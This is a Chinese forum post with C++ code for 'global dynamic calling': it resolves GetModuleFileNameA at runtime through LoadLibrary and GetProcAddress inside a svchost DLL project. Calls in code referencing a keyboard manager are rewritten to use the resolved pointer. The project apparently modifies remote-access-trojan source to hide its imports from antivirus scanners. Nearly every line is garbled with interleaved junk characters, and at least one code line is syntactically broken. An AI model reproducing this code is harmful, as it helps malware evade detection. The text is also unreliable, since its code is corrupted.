[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记! z. Y+ J4 |" p$ t% j7 x6 L' \" n
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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, M% ?( v2 F0 W' `1 J* N# \#if _MSC_VER>1000
  ]- ~* v; K/ f" S. {% s: N  C! j  N, u#pragma once. D0 ~: L4 F; h; S8 C
#endif //_MSC_VER>1000' ~7 p, h& `; Q, L0 x, M5 w$ `
#include<windows.h>7 N) n- k9 b# g1 `4 G1 \/ H

2 a& v/ \8 v5 }( s: t3 ntypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& h: e  O: R3 O  C  vclass DTDY
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DTDY();/ `' h& E3 s8 y& S- E& j
virtual ~DTDY();: o/ {6 {3 l* C0 |4 o  V/ }" c4 l
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static pGetModuleFileNameA MyGetModuleFileName;5 o8 Y/ \2 D0 ^; |; Z
static BOOL FunInitiallization();
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#endif
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, q$ o2 X+ \% s4 p+ Z$ @DTDY.cpp:
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! z7 Q' U  z+ W$ e#include "DTDY.h"( Z- w: k8 N* d# o2 X
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" n, G- [" ]' G/ v8 |DTDY:TDY()
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DTDY::~DTDY()% [: P& L4 c1 `1 K
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}
# C$ P+ z, n/ q9 D' B% RBOOL DTDY::FunInitiallization()3 u7 |! x4 F$ v0 t& y
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HMODULE hModule=LoadLibrary("kernel32.dll");
3 a  o7 h" ?* c1 F2 dMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
6 @. n9 x& q$ c: ?/ o+ c& fif(!MyGetModuleFileName=) return FALSE;
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0 ?$ Y8 [. o7 Breturn TRUE;5 J* w) J$ \6 ^
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svchost.cpp:
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' z! O9 t* s& A) M+ X! {; U9 k9 I#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call); K& Q4 `3 O/ v
{
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if(!DTDY::FunInitiallization()) return FALSE;9 k: E' p( u; f! f' _
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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# n7 U3 Q1 h% `8 w, i- Q  ^* jDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# [: H& d& F* }4 A" d9 L! [) H* F
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#include "../DTDY.h"
, W7 B& x( a7 w! {" g' cGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 h( O" V/ w2 }& n& H7 b3 E# u
改写为
  c# \# p2 S+ O! X3 SDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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